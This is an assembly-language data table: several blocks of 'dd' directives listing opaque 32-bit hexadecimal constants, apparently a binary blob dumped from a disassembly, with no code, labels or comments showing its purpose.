dd 0C40A35AAh, 2220E347h, 0CC02AE07h, 14303C2Ch, 0F555D272h
dd 52612B14h, 19088E9Ah, 0E0A40C15h, 272471F5h, 0C1954BB4h
dd 337C10F8h, 0D1439602h, 0F9B97EFDh, 0E6B5457Ah, 0D1B1675Eh
dd 3B72DDE5h, 0EEB05A9Ch, 0B4973D4Bh, 2A8753ACh, 0E66B5237h
dd 8C911EEh, 0E6912C80h, 0A68AA6FAh, 7D091934h, 86E55523h
dd 8661A942h, 0AC4980D9h, 9DD9BDA8h, 0FD5E2263h, 18216CC0h
dd 0BDF5F88Eh, 9F22510Fh, 63EA1ACEh, 0B911C4C1h, 64BB1EDDh
dd 417C15A4h, 18AC1FAFh, 702986F8h, 7FCDACC2h, 67F928C4h
dd 0A9F3569Bh, 528DE8Eh, 5BBBCD13h, 25852518h, 0E77987DFh
dd 0B23A8E49h, 0F4D30BFDh, 57D91AEFh, 0CC16382Dh, 745697A4h
dd 62320352h, 9416799Ah, 0AAB19F13h, 0A838F15Eh, 72F5164Ch
dd 94B85845h, 20847B1h, 936821Dh, 0FB262EA9h, 0C9FC635Ah
dd 7CD74F0Dh, 0AF03D00Ah, 0F22E7D5Ch, 0BEC8EDFBh, 86BDD8ADh
dd 9A24E595h, 46DFCFD8h, 388F94D2h, 9F3651FDh, 0F86E4967h
dd 76256570h, 0E4CF928h, 0DF835283h, 0DDC3910Ah, 678727A3h
dd 2FA591C8h, 0D1E1B8A0h, 0B91641E1h, 0CE169FD8h, 0A95850C9h
dd 346C6F97h, 25EE1380h, 7C6D3835h, 803B2AEEh, 911361D6h
dd 35E36EC2h, 0C93B2422h, 2428AA78h, 1F93F830h, 4590E397h
dd 92150C6Bh, 0B742FC4Ch, 9EC100FFh, 816A577Eh, 5406A9E2h
dd 0BDA581CEh, 292F7F1Dh, 0E1D6DF82h, 0C353703Eh, 4B64C6EEh
dd 0E90AA065h, 0F55E41C0h, 0B7E8BEABh, 57D6124Eh, 0EDABB922h
dd 0F0EF1AF9h, 9155FF42h, 0CAC5A2EBh, 471AACE4h, 0D1C7DDD7h
dd 8E022ED6h, 0B3D4B21Eh, 2B01DB81h, 78CF17F4h, 45BF2E25h
dd 683E905Eh, 1159D594h, 1946ED0Dh, 0F31E9844h, 0B111C55Ch
dd 0C436C1B0h, 7C5DD877h, 5AA4D6BBh, 73C25485h, 1147DE75h
dd 0D7DF91Bh, 0AF93DCE7h, 0E0CEDCF5h, 5442E01Ah, 8D35D9ACh
dd 44CD89ABh, 1B4A1167h, 0FC6A5817h, 406CFAE1h, 2640824h
dd 59D8C4DEh, 7A7DE467h, 0E388824Ch, 83AEDA25h, 19F0438Ch
dd 0C178022h, 6228A854h, 0BE6C5C48h, 7F05F43Eh, 3D97F16Dh
dd 83B97214h, 0F60A7F15h, 2C804CE1h, 2EB41AA5h, 0A4969DDBh
dd 7C7341A4h, 2AEF0D3Ch, 207C9BC7h, 810C8258h, 24A88D95h
dd 950C469Bh, 7B742137h, 0A444F709h, 0CAB4C9ECh, 67293CCFh
dd 970A1ABFh, 0D28B43F6h, 32AC4F2Fh, 0F38EE7Eh, 99520CE7h
dd 0BB49E737h, 3831E697h, 8EC307C7h, 0FBB5E8F1h, 901EB2CEh
dd 1EEED755h, 9EC1EAA0h, 6589443Fh, 0EEE4B596h, 6C1D0592h
dd 0D01DF978h, 0F07AC03Dh, 2212AE5Ah, 0BA44E543h, 7B9E16B4h
dd 0D1C7BBCh, 846DB3DAh, 0D3759C52h, 0C0351954h, 350B95D7h
dd 0C334B124h, 9B4D34D5h, 87889A23h, 47112BDDh, 0C13D1FD5h
dd 0F0EDF59Ah, 449A1813h, 5C4CF943h, 48F0FE0Eh, 0E2DE79BEh
dd 340C3BBh, 74A54263h, 2D34AF46h, 9775E0EEh, 0EC632F7Dh
dd 79FFFF6h, 0A51608DFh, 14CD4FD9h, 189D3934h, 30C3291Dh
dd 0B5AAF518h, 0AAB45B8h, 0E0AA7D0Ch, 44EFF6E8h, 49A126h
dd 0ED432F07h, 0B924696Ch, 4DF7B923h, 60CFB4AEh, 0D1F28A60h
dd 99CDCA3Dh, 0F2F9C816h, 3DDF5604h, 84DE90F9h, 6AB76F9Ch
dd 0F98C8D23h, 8B125F15h, 0F50F8407h, 5C64946Ah, 5BFDD17h
dd 0CF43D1A6h, 0E66785BAh, 0C27CB66Dh, 0E068CFF5h, 0BF4D0180h
dd 0FC605F52h, 0A77E3F06h, 0AC7FA4B0h, 0E698DEFh, 0E4CB6ADBh
dd 22750ADBh, 6833986Fh, 0DB5C9653h, 75D2E5Bh, 2BA7E5E2h
dd 0E294464Ah, 6F20C28Dh, 76B8200h, 0C5A96A51h, 2DD9C57Eh
dd 72A321D1h, 1534B664h, 3C6C1EFh, 0C5401BF1h, 7B87E888h
dd 0C7B37E94h, 249CA77Ah, 0D8D845CAh, 0FAB2EBD6h, 17286557h
dd 210F6888h, 0EB4C7327h, 3368ABEFh, 2FC637EBh, 14DB76F6h
dd 0DA8DB34Ah, 930B8C8Ch, 1F2E25FBh, 41223F6Fh, 3C25E1A6h
dd 737E0586h, 0E6B04CDBh, 3587C8D5h, 0C2C0AD2Bh, 5D0856A5h
dd 0BD301EBh, 0B80B0F27h, 9EF3B0AFh, 6B5A00E2h, 94B4F4DDh
dd 2084B04h, 0C35EFD58h, 789DB979h, 0C94590D1h, 0DA308F1h
dd 45FB0817h, 94F80737h, 0ECBAEC5h, 8DF0218h, 6C390828h
dd 0DDD54392h, 0D459FAEFh, 66D74DA4h, 0BA111E10h, 0C18D4754h
dd 2456B299h, 35737E72h, 19801194h, 281F2048h, 869EE2E9h
dd 93816298h, 0DFD0EA5Fh, 0BCB4552Bh, 53BE8481h, 0A3054DF5h
dd 10669A60h, 4731FF71h, 8E6615FAh, 0D93F2F1h, 5B13737h
dd 0DC5CD509h, 269EE85Bh, 0E1ED2293h, 64C0C7h, 753DB2BEh
dd 58BC14C1h, 0B20120AFh, 8B266028h, 0BC336C47h, 0B96FD848h
dd 0AFF81141h, 771479C2h, 1C5E0EA2h, 0D5078BB8h, 0F75CF2C6h
dd 1476B0E3h, 82D338B5h, 0B4CAD257h, 0C9078CC3h, 0C345904Eh
dd 0D853FB0h, 92448DC6h, 0C1C175E3h, 0B3071517h, 0C8F0E3A4h
dd 9421FA48h, 3D42FB72h, 0BB8A72F9h, 29C2ED84h, 77A336F5h
dd 0B4F9BD41h, 5CDBF682h, 0C7537CB5h, 0B98E1A1Eh, 0FA23437Dh
dd 0CB27696Bh, 0F36421A0h, 1AB48B84h, 21DBEAF7h, 0FB502149h
dd 0EB7CE19Bh, 0B0751A20h, 0C7E34933h, 0CF3B8062h, 0B8B68EE6h
dd 0CE3B6446h, 0C281F1D1h, 0CCFADE9Bh, 530C1100h, 601A5126h
dd 7F0601E9h, 0AF9AB583h, 38F5BF80h, 3F063BC3h, 0D6169527h
dd 0C2953D06h, 0EAC76EB0h
dd 4C4BD193h, 0DD9BE39Eh, 1C17B3BDh, 8CD8443h, 0B00C226Eh
dd 147ADF25h, 12C27843h, 1B5E9BB2h, 0D1DF78C2h, 0C9719143h
dd 69B7B2B4h, 2D606056h, 0A8BCFC1Eh, 69E8B645h, 3FE2E6AAh
dd 11EF8690h, 910A54C4h, 9D7BE722h, 0ECF2225Ah, 3140BF22h
dd 0C9DB5256h, 8C1E6494h, 0F57C5510h, 0EFF3924Dh, 0B029A659h
dd 69F1D28Fh, 0D808683Ch, 0EE0B0219h, 17390EE7h, 5C495E33h
dd 68B46B48h, 75DFEDD2h, 1A3D8729h, 0F884D058h, 686649D8h
dd 8FDC114Dh, 0C0D203BBh, 0D0BBDEF8h, 42D648CDh, 47FBABF8h
dd 0C30ABB0Eh, 90495930h, 5C880EEFh, 951BB70h, 8672EC0Dh
dd 0CA46E44Eh, 0ED8B033Ah, 0EA791D3Ah, 0A8819E59h, 2E5A5EB4h
dd 6B6D7F6Ah, 858B2F93h, 52322F7Ch, 0D434F87Ah, 0D7B28AC8h
dd 0C0B8ADD7h, 6BAA2B32h, 78CB328Eh, 0D2432A26h, 0BFE7769Ah
dd 257FDEF1h, 0DFE7C0A4h, 190F53A7h, 0D644CAF8h, 358CE4ADh
dd 1053A1h, 0E1F8ECE3h, 0EEA5123Dh, 47E2F937h, 40DF8DACh
dd 7ED6250Eh, 205E722h, 4475670h, 0E7CB6594h, 9CC09626h
dd 6BBFE2D5h, 418522D2h, 151BD9D9h, 0EF4C5514h, 5711E277h
dd 3D12D60Dh, 79B021E9h, 39ACFFEAh, 0E3367F0Ah, 692D0033h
dd 4D51911Eh, 0D96C95FEh, 6965A49h, 75F2AE9Ch, 0BDC20C02h
dd 54A02F69h, 6A948414h, 0A0F1B54Eh, 56EDA75h, 0DEE6271Eh
dd 1D1C63B5h, 2CAA23ECh, 6D801889h, 85D1BBB8h, 195D5FE8h
dd 0D744B082h, 9B754AA3h, 344094C5h, 3298F2B3h, 0FA317C3Ah
dd 414FE680h, 96D42898h, 0F2588C14h, 0E777F30h, 0EFEEF7ADh
dd 0FBCA87E4h, 4FF5E442h, 47FE553Bh, 4A954414h, 25E2C362h
dd 6AE39D01h, 777F3369h, 61CAF959h, 932C6223h, 3ADB8B17h
dd 0E34F796Ch, 0FAC57713h, 0DB32E617h, 3298B558h, 0CF767966h
dd 7C751378h, 841C5824h, 792E805Eh, 982E8015h, 46E36A6Bh
dd 51F942BAh, 9446263Ah, 64049494h, 78549CC3h, 70FA50B5h
dd 0D2F5659h, 0E15CAFDEh, 75C4953Ch, 0C25860A4h, 28C0103h
dd 0C5A3D362h, 0C03E5080h, 0F8AC7D86h, 222F4BB3h, 16ABDDF0h
dd 9AF733EDh, 343968E2h, 531A2C9Ch, 0EB40E912h, 1A0D01A9h
dd 7BE1EB5Ch, 89F58922h, 38242014h, 6C7970E3h, 2DB62C9Ah
dd 0CBAC51EFh, 0F5DD06A0h, 68E1F58Bh, 0D856A6F6h, 5ACF2E3Fh
dd 363A4BF7h, 41E9E513h, 6137B16Fh, 0A5D943C5h, 304257F0h
dd 1D0B831Ch, 67CE6604h, 50AC876Ch, 347D09A9h, 0B4824D30h
dd 24936D31h, 0F1195823h, 0ABB93FDAh, 9CEC6420h, 547C989Dh
dd 198541B6h, 6CB5874Fh, 0F06948E0h, 85115D61h, 0DF341FB0h
dd 0ED620734h, 2CDCC37Ah, 29315D00h, 3CA0843h, 2DC848B6h
dd 93BD7739h, 7C465DCFh, 72EFE001h, 0A3CF4BAAh, 94A84CEFh
dd 0BED077B4h, 6391711Dh, 3EE22451h, 0E826F224h, 0E496CE7Eh
dd 0CB7EFB22h, 0AF8C7DBCh, 54750FE7h, 2ED0A9E5h, 0C53C4C91h
dd 0F3444AF4h, 12F5901Fh, 0EC303007h, 5C136721h, 647DA157h
dd 1AD88E16h, 9CCCB9BBh, 0C92EFC40h, 0BDFAF488h, 62544108h
dd 3D95AFEBh, 2BE18B0h, 1E65FD7Eh, 0F2C151A5h, 93A16104h
dd 8314D787h, 6AB620B3h, 0F343CA02h, 35798A64h, 360B6BD5h
dd 8D2DF220h, 0F8D931F8h, 78543DF6h, 0BBBAF277h, 8824B12Fh
dd 703ECAA7h, 699A8134h, 70511910h, 0BA40420Eh, 463827BDh
dd 695F8CDEh, 0E281E842h, 12EB1B15h, 3C35BA58h, 994EC274h
dd 48564326h, 3D45FB74h, 99E01544h, 0BA0CF0B5h, 92A3E1ADh
dd 2B84389Ch, 0A88A26E6h, 325F2C73h, 25094C1h, 8A8F7041h
dd 0B2CF884Fh, 95275AB5h, 3932BD92h, 50C6589Eh, 128BA883h
dd 9E50B014h, 0C36A49B9h, 0C4D4C400h, 0F66CC82Eh, 23D24593h
dd 3870F54h, 1EBFCF47h, 5045160Ah, 0E917F9DFh, 0A0ED7F76h
dd 14208093h, 0CE0E65FCh, 752DB1AAh, 0D703A1D6h, 430FA8D9h
dd 2BE14E6Ah, 0E0A3B1C6h, 6DEF4DD5h, 0F5BCB0ADh, 0A3FAB18Eh
dd 0D2153529h, 0AC8D99F5h, 0B9ACEE66h, 6F7231C0h, 1873B0D3h
dd 234C7DD3h, 0A339A931h, 0AFF9D43Bh, 0F947F47Eh, 66041ACEh
dd 0FFE48ABCh, 203C9090h, 0AD764982h, 25A3F3F9h, 8ED049F1h
dd 34F35A56h, 270741D3h, 5932A3FFh, 0CB65FCC4h, 0E98CB369h
dd 0B073F60Eh, 0DA6C0893h, 667FF30Ah, 650268F8h, 3E001510h
dd 86EF1791h, 0A7FDE2A6h, 8AE6117h, 0C64AD2AEh, 3CB5AD1Bh
dd 5A34865Ah, 0D4B03C54h, 0B02A8F47h, 53F64936h, 0D37BC065h
dd 83EF2B2Fh, 0F04DA1E3h, 0B07A99F3h, 0BC27F8E3h, 0FF7ABB74h
dd 0C65764F9h, 1B73209Ch, 0AA750E9Ah, 5040A3E5h, 5AF9BFE1h
dd 65EA42D2h, 7BBFAA80h, 0B8E867Bh, 49D772B9h, 0ACAB755Ch
dd 0B57EBE64h, 5E21285Fh, 50BBE851h, 0B4595D04h, 0AF10CF15h
dd 4B664ACCh, 71FB6D0Dh, 87DD5FC5h, 9D012675h, 146C26D0h
dd 66CED2BBh, 9D4D42FDh, 5F24CAA6h, 0DE868B75h, 0C202D0C5h
dd 0F34732F4h, 0B1924BDCh, 679076E2h, 152E789h, 9B42B219h
dd 0F0CED54Dh, 0C9CE25C0h, 5D63CDD4h, 0A28FFD17h, 95A87BF4h
dd 5F1890FEh, 0B76C0B89h, 75789FA6h, 60A3A017h, 8B9293B6h
dd 0D315DE62h, 521130D0h, 2941BD38h, 919CE448h, 0C044920Eh
dd 6CD8948Fh, 0B15C457h, 0AACD6B63h, 8519F534h, 2BFEAA0h
dd 6B122535h, 77B9E48Ch, 1719FBE8h, 7BECBB55h, 0ADC50528h
dd 85C84AA6h, 66513A9h, 62689617h, 0BA3420DDh, 0EA4D5E6Ch
dd 1279885Ah, 0D0183107h, 8C82A613h, 0CF45A024h, 19FB4B4Ah
dd 4932E424h, 52234459h, 4B718309h, 3B3B875Dh, 0BAA28009h
dd 5D3EE29Ch, 4DF8B2ACh, 86A26CA9h, 65E3ED33h, 300A20B9h
dd 99F2D7ABh, 1CCE35D2h, 35E44C01h, 0E2EFA365h, 2770456Dh
dd 4A56F8F2h, 734C2DE9h, 0CF52F2A3h, 8B0B2228h, 0B63586D4h
dd 3AD8455Eh, 1AFEF72Ch, 337DBEE8h, 0BE8A9AC0h, 0E76840F3h
dd 6BEE45FBh, 19D2773h, 14D82971h, 0AD277A09h, 130480F7h
dd 0B9C1AF4Ah, 0CBB63BCBh, 0ACBBF466h, 26D65B2Bh, 87F2CEDEh
dd 0D787A0F8h, 0E6941847h, 0BDB3BEB7h, 0E81C1688h, 108F84EBh
dd 0E3F554C5h, 0C18639E0h, 0E6A0C3AAh, 0EB1AE54Bh, 9410BB9Dh
dd 0F76CB70Bh, 8BAC0C44h, 914BBA26h, 0EEC961CCh, 35E946BCh
dd 26C7B722h, 1FD9FE5Fh, 0C070CDE6h, 0ED8621B0h, 59FF99B6h
dd 203176A3h, 0D43AB67Ch, 816A37C8h, 124AB0CFh, 1FF3F5CBh
dd 3D225E82h, 0F5E2D7C7h, 41D2C3Ch, 0C20EBE85h, 2DC5CAA4h
dd 0F7F5EB7Fh, 422BA268h, 32B5299Eh, 1444F303h, 8A069174h
dd 52B6A203h, 0D6D2E98Fh, 0DFE670E6h, 0E3B713E9h, 9F379C80h
dd 295035BBh, 11A490BEh, 0BDBEE7C7h, 274EE206h, 139B63E9h
dd 586B530Fh, 0C27C9F2Ch, 8D18317Dh, 0FB6B819Fh, 5361A71Dh
dd 47D09607h, 76C24A10h, 0C22F9AD7h, 0E2A5C9B4h, 2B431F78h
dd 0DE10E79Ch, 321F30F0h, 52055F32h, 9133DF2h, 0B34244D1h
dd 2E747AC8h, 9A8E0AF1h, 0EF261FBAh, 0BF88F436h, 9C557AA5h
dd 612CC51Dh, 0C205E796h, 0C005052Ch, 551FC819h, 0D4E62BD1h
dd 333FC3FEh, 0AA1117CAh, 6B3AA7DAh, 43E16784h, 0A7009889h
dd 0F155F5E2h, 0FD88574Bh, 0CB6673E6h, 26C07E17h, 9368A044h
dd 379ABF3h, 0BEADC4EAh, 0A2BAA575h, 0CABFE9Fh, 9EDF4D3Eh
dd 0FD6E8A59h, 7092B7B5h, 0CEC798A0h, 7C4EA60Fh, 40561EA2h
dd 0BBEE242h, 0FE94DECCh, 48E11F41h, 0DEB786F5h, 42EFD00Ch
dd 72F4E96Dh, 7D2E3BFEh, 0CD140644h, 0E50DD75Ch, 2DDE9F74h
dd 1C2822DBh, 5CC10939h
dd 166E49C1h, 6B8A1D04h, 0C1DCC7D8h, 0C35E0F11h, 90746DC6h
dd 0FBA11509h, 4025519h, 7AAAADBAh, 65C35DBEh, 5A5406A5h
dd 299EF3C2h, 518A1DA5h, 0CDA20ED5h, 9DD25144h, 550E436Fh
dd 7C60CD66h, 36C59C78h, 0A89A333Bh, 0D98BA460h, 8FAF495Fh
dd 14ACDFAAh, 7A9E2246h, 0A4485C08h, 0E7DF5413h, 0B2132D09h
dd 9C8EC7CEh, 8ABF163Ch, 20E6DDD2h, 0C5AD7CD2h, 0F5969399h
dd 0C81CA4A0h, 0EFECB037h, 226FAA85h, 873D255Dh, 2F30E12Eh
dd 479F2C26h, 2B8397C8h, 27B20234h, 0C844770Bh, 0CA338Ch
dd 0A7B204B8h, 2436EC3Dh, 0D7E4635h, 0D3875140h, 0F40A8EA5h
dd 2519DDC8h, 0B5D929BBh, 8847268Fh, 0A0CB7F36h, 0A45C17E6h
dd 33DE5F13h, 2FCB3B37h, 9DA6D652h, 160A5908h, 66E15A57h
dd 9BD9B549h, 0E5D90186h, 3C82FF6Ch, 3B3DB84h, 55078498h
dd 2040674h, 0A0DDB8A3h, 0E500E2D5h, 0B4BA9CDBh, 0ED781717h
dd 7C3273C1h, 0E2C3C3BEh, 518ACB5h, 4C1D81A9h, 5AAB162Dh
dd 0BB063B21h, 7488F92Ah, 197A64Fh, 0A64FC0A3h, 96EBD35Ah
dd 9CCD1248h, 5E53F1BDh, 426B9BE8h, 4702861Bh, 7D4F010Ch
dd 7CA6C0EFh, 9542391Ch, 0B2CBD16Ah, 6326F3E8h, 0DCD29E4Ch
dd 0A5602454h, 0FCD5D1E1h, 0BCA26C84h, 433DA802h, 7D0CE142h
dd 10DFB504h, 8DE04AEh, 0D731CFEFh, 9A9B13DDh, 0A72997DEh
dd 0C8C8C1FEh, 0E3C2601Eh, 0A036381Bh, 0AE35EF29h, 198579A7h
dd 63B91E6Fh, 0D177C7B4h, 0B7133C1Ch, 7AC80608h, 523F6FF5h
dd 910D71A6h, 9298C060h, 0FB0374E8h, 0D6E23AF8h, 7E9B627h
dd 4FBA6D4Bh, 94A242Ah, 4361FFCh, 89A06A78h, 0E5115F8h
dd 75B4A61Eh, 0A5ACE17Eh, 385B2AA9h, 4BF44ACCh, 645D2E51h
dd 697F2405h, 18DF085Dh, 0E45E3EFCh, 0EC36A1BAh, 44CC47CEh
dd 0D47119FEh, 0F3452D65h, 0B278C2CFh, 4E9810CEh, 5DE92E31h
dd 0D34EEAECh, 0A9CFF28Ch, 0F8AC40E0h, 0E95493B9h, 0F834E46Ch
dd 221F4942h, 69B45CC3h, 90630009h, 0E2170C14h, 0F8F019F5h
dd 4D822115h, 0D3AAADBDh, 382C9A60h, 54F30DB6h, 0A4FFCBBAh
dd 2BFE772Ah, 0CFEBAE43h, 1D18D7B9h, 2B02FD25h, 0ED234969h
dd 39DF3760h, 7D8A58CCh, 0B2A3C527h, 6CF9EF4Ah, 0DA113A80h
dd 0D38AF582h, 0FBE460A4h, 0A8255123h, 0BEAD75C1h, 0F118B5EBh
dd 5FC91B50h, 52BF19BEh, 64E2A9B9h, 8E6E9C0Bh, 0DA895022h
dd 0D0916D56h, 0E575580Ch, 0FD93E25Dh, 7D2D198Ch, 0C5D31607h
dd 63710459h, 5CDDAC94h, 11C1C79Bh, 2F2EE67h, 7BC1075Bh
dd 0C7806D76h, 0ECB0B28Dh, 0D19311E4h, 95398C28h, 0CBDD1556h
dd 0C2BDA8BDh, 3149085Ch, 1B7C9674h, 0C288C2C8h, 0EE3EAB02h
dd 0AC7BE0CBh, 0AEAAAE22h, 0E9DDEE77h, 17C07D17h, 0C64116F5h
dd 70D60418h, 0A46675E5h, 782C4BEAh, 0C40DE857h, 0FAECE68h
dd 0B166EF12h, 8827E990h, 2BF54848h, 0A42083D3h, 0D9640611h
dd 0CF4FBD73h, 0D2194CE2h, 2BF51657h, 7B8465D5h, 7132A6F2h
dd 2E9CE714h, 1D043B93h, 7253EAF7h, 0F1E99D6h, 0F502A53Bh
dd 6F8A1018h, 1A72E5CEh, 7A75A241h, 70CB4F9Ah, 68B6EE97h
dd 998D3405h, 758B7004h, 6624F9C1h, 0BA17117h, 7BBCC42Ah
dd 0D5E625A7h, 0B42BE535h, 7155888Bh, 0AD39F497h, 8B30BFCCh
dd 0A0D0DA7Bh, 82606F85h, 29F9427Dh, 11F26292h, 0A852A5D4h
dd 0C85AAC88h, 431CEAC8h, 1E11B28Ah, 64E94219h, 0E9BD4AD7h
dd 0A4D6C350h, 0F76F136Dh, 0B0D48F78h, 7CE326E9h, 9A2D1D06h
dd 7F158BCAh, 0E1867D3Fh, 2D927D7Ah, 0B8D43ACh, 742BEFFAh
dd 0C7DF191Ch, 19951F8Ah, 0E6531D80h, 5416027Eh, 40567855h
dd 4F26DFB8h, 8E74E65Ch, 6E573413h, 3B379261h, 33804D3Fh
dd 3B8EC485h, 923BBDECh, 0EF520CF6h, 747E3435h, 374B316Bh
dd 0E5259C72h, 39B3115Fh, 8ED9FA8h, 820A0A0Ch, 24B93C3Ah
dd 0F4FB38C2h, 0A7467401h, 2D9414D6h, 77C6F18Eh, 0E246393Dh
dd 9A99C702h, 5A189265h, 4B09D0AFh, 15CCF50Fh, 8B92BAD6h
dd 0AC5BEE72h, 5E2FD1Ch, 0FDC9B94Ah, 4A4C54ACh, 764F4827h
dd 31BF8C7Eh, 0C019B159h, 0B2406448h, 15D8F8E6h, 738F74C4h
dd 1100A3Bh, 421A7ECDh, 0F727004Bh, 3BF0F041h, 50334689h
dd 0E5D60FFCh, 0BA5848C9h, 4131C388h, 0D3661D4Bh, 0B4148CBBh
dd 0A2435C81h, 709C2B92h, 0D7F38E6Ah, 0FE4F1AEAh, 0D57E1E0h
dd 0ACA38B4Dh, 813A8159h, 27BF4CA3h, 402CCCAh, 0F682CDE0h
dd 0FCF2DA58h, 0BAFABEB8h, 0D26E50D0h, 45E7D8A2h, 2A45F810h
dd 0A8134F93h, 0D21B38FDh, 9D640789h, 6D58D5A3h, 975DECFCh
dd 636B30BDh, 5E43D4DAh, 2C8C93F0h, 0BAB1AD87h, 0B3806662h
dd 505A139Dh, 78B2E8A5h, 95F2227Ah, 6449A3FCh, 60533E7Ah
dd 6546C694h, 0D16E6FE4h, 0FB68E979h, 0BB265B6Fh, 96162D53h
dd 24E477Ah, 0B1F747CCh, 0D2C36390h, 0DCD7434Eh, 315A5D1Ch
dd 0B06852EBh, 21696672h, 0E6BB9017h, 0BDF7A6BFh, 7A6E291Eh
dd 16F7E454h, 0B148DDDBh, 0B24C1648h, 0A1C89FCFh, 76F13D08h
dd 1F32D869h, 1A453B23h, 0A2E48893h, 0EEAF6944h, 468EC8A1h
dd 4D2354DCh, 0FF21C5EAh, 7DE3960Dh, 0D1E0598Bh, 0E01D28AFh
dd 8F8941D6h, 2D1C0635h, 8A6B466Bh, 0D1E7D72Eh, 90061FD2h
dd 0A3B24116h, 0A6DEE051h, 0C8F7F846h, 2C17361Bh, 0DF713BFFh
dd 0F8B64D63h, 0BF5CDF67h, 28ACD646h, 0F275E3EAh, 0BB31C429h
dd 7EB4DECFh, 45A149DAh, 24C8C40Dh, 2C54D550h, 0C4DB4BF3h
dd 431EDDD4h, 3BEB4795h, 0E3EE6585h, 54E5365Bh, 7399F4E8h
dd 1BF12E52h, 0C4186C4Fh, 0D89574C5h, 9A8E162Eh, 239B32E4h
dd 0F06260C4h, 0CA204F2Dh, 0D43D905Eh, 0AEA5DE63h, 6C609B2Bh
dd 452494C7h, 0EECEACDCh, 47EFC676h, 0FDCEFAD4h, 0EE8DBDD3h
dd 0D43C9F87h, 0A7C4D902h, 0AA2E99F8h, 8564E640h, 0DBF6A8E5h
dd 6075F26Eh, 4EB0EC73h, 0DB8543BAh, 0EE19CAF4h, 0AE929CF6h
dd 9B8BBFEBh, 6B29523Eh, 514DD2F3h, 0BC50DBA6h, 0E504A148h
dd 0B7A8093Dh, 1425DA43h, 4085A6EBh, 6CE72C4Fh, 3809AB64h
dd 383FEA9Eh, 0C3670BA5h, 0AC7BB722h, 0C357DA8Fh, 0F18B2107h
dd 95B99A3Eh, 94FA0D66h, 73AEEB1Bh, 0AFE2CFA0h, 0FB9CBBBDh
dd 67FF604Ah, 0A53185F0h, 7E7AE70Ah, 7E206C5h, 0B3E36A54h
dd 7AB5865Dh, 0AEE1E55Ch, 102ACA9h, 5CA8B875h, 96316B39h
dd 0A61D02E4h, 0E4226BE0h, 6D199909h, 0ECB49181h, 0F49E979Eh
dd 26B4DE21h, 0C7397D62h, 8E884DF8h, 2DF7ED75h, 0D7B0C6D1h
dd 0C60B77Ah, 25BCD26Eh, 65F87E8Dh, 934E70E7h, 0BDC4A5F4h
dd 0FA9E770Ah, 5CC2F0BBh, 922A0969h, 716BBDD5h, 57D836B8h
dd 0BD63CA44h, 0F9DA05D2h, 23EF044Eh, 38CB9B02h, 5ADD02FCh
dd 0F4EC8E9Fh, 0E7248929h, 0CE1EEE7Dh, 9B34D073h, 0C12B727Dh
dd 4F789262h, 65E72FEFh, 0CBCE42DDh, 5D62C98Eh, 4AFE1739h
dd 6D102470h, 0E154C937h, 0E0FE630Eh, 6F31F795h, 0C9D5701Dh
dd 0E1DD9FBCh, 21E1E1C3h, 368583D1h, 0AEEC945Eh, 0C694DB39h
dd 0C15B3C90h, 4296CBE7h, 73B79AA1h, 321E71A9h, 0E54CF8DEh
dd 4B977AE7h, 0D36E96FDh, 1EAC5C04h, 0F2EF8D23h, 0B3360140h
dd 32BA7F6Dh, 0B3754D8Ah, 665B8B4Dh, 0FA2A34Dh, 62F12AC6h
dd 0C0BA2D27h, 0C5E13FFDh, 0ADFB1108h, 78A8E366h, 0EBAE185Fh
dd 55BC7F3Eh, 0B890DA2Fh, 7B1EFE11h, 717C29BAh, 0E3015ACFh
dd 0AE2F371Eh, 0D17E6E7Dh, 7C5E6756h, 0D9023632h, 5A28C92Fh
dd 0F658366Dh, 90CA043Ah
dd 156FEDE6h, 1151EFEFh, 9CA01BF3h, 3CC9F83h, 0A5442A91h
dd 0C836D37Ah, 1C9E71FCh, 78FFF54Ch, 9B34454Ch, 0E390E3F2h
dd 53C5223Fh, 26A507A9h, 4820710Dh, 0B077624Ch, 9EE9BE29h
dd 0BCC97BE9h, 0CA3C61F2h, 0BE7CC1F9h, 0F78DFDCh, 0B41EE96Ch
dd 75C30D1Dh, 0A7A9283Dh, 997C3472h, 0D26DDD70h, 0E89D5Bh
dd 0EDC31999h, 84D41AC0h, 9BE7BE11h, 862DA58Eh, 6F488E0Eh
dd 2A445BCDh, 8E1A5C48h, 95872C38h, 3833FD20h, 2029DFFh
dd 0B50324BCh, 42D6AD8Bh, 4FB7D77h, 0E290E6E6h, 0AA254022h
dd 1A90A4CAh, 94689FDFh, 53755236h, 0C25E6C5Dh, 9760C5BFh
dd 23D5F589h, 87E6AE59h, 3F2F6E2h, 0E35AD7E0h, 0E4193923h
dd 8BE0A7Ch, 2D6921EBh, 8F6C98AFh, 0F82156EBh, 97B42768h
dd 0C059ED86h, 7747F6CAh, 0A498C500h, 7BE41780h, 7F52A3AFh
dd 0CAF1B3F0h, 0DEE0CC5Bh, 3FB61161h, 7892D715h, 0E59B82ABh
dd 48C949CEh, 99465A67h, 2846501Bh, 0CB79E8ADh, 674C2CFFh
dd 0BBCAEE51h, 0AD5C8599h, 0EC442C99h, 0C11D8E4Ch, 0CF2B3121h
dd 1D6A1515h, 0F7FBEEBh, 27CF7EB4h, 59215D18h, 0FB5F824Eh
dd 0B785136Bh, 9668BDE0h, 0B62DFC25h, 0F226F901h, 83D8EE38h
dd 9EE22507h, 0B35DCC8h, 3BB6F060h, 4A19EFFDh, 4A3669D5h
dd 0F49CD40Ah, 73B83860h, 0EBE9EA4Dh, 8E34CFDh, 0E5A7C963h
dd 628D4198h, 0C04BD4D4h, 11CC7442h, 0DEBF149Dh, 5E928183h
dd 970ED47h, 0C236929Eh, 64682016h, 6594D003h, 3292C9Dh
dd 13F2A89Dh, 0F3B0B591h, 0C08A34D4h, 11F3377Fh, 0D1FE1DC6h
dd 495ED1F9h, 9D86D7FAh, 0CA5080D8h, 2DA1FF27h, 0EB4FCF1Dh
dd 0E346E76h, 438C54FFh, 3098B323h, 0B4E91DDCh, 0A03D6B6Fh
dd 7B4A4A2Dh, 0EF465AFDh, 2837CDA7h, 0E1EB19B8h, 498B672Eh
dd 38BBD277h, 36E6DCB2h, 4875A855h, 13B7A9F9h, 0F2143C5Fh
dd 0EC343369h, 18078851h, 61CD740Bh, 0ED665B0Fh, 170BABD6h
dd 515E1C43h, 8BC95FB9h, 5E2E4F7Bh, 0F93011CBh, 4A7AB621h
dd 0F33A0CD7h, 951B292Dh, 886D5CFCh, 99482B5Dh, 60BB59EAh
dd 62BAD98Dh, 3B76F008h, 0F8773491h, 4D357CF3h, 1950FE3Ah
dd 43FD3B6h, 8D8F8F85h, 818EBD4Ah, 5089CCAAh, 0DB79E3A2h
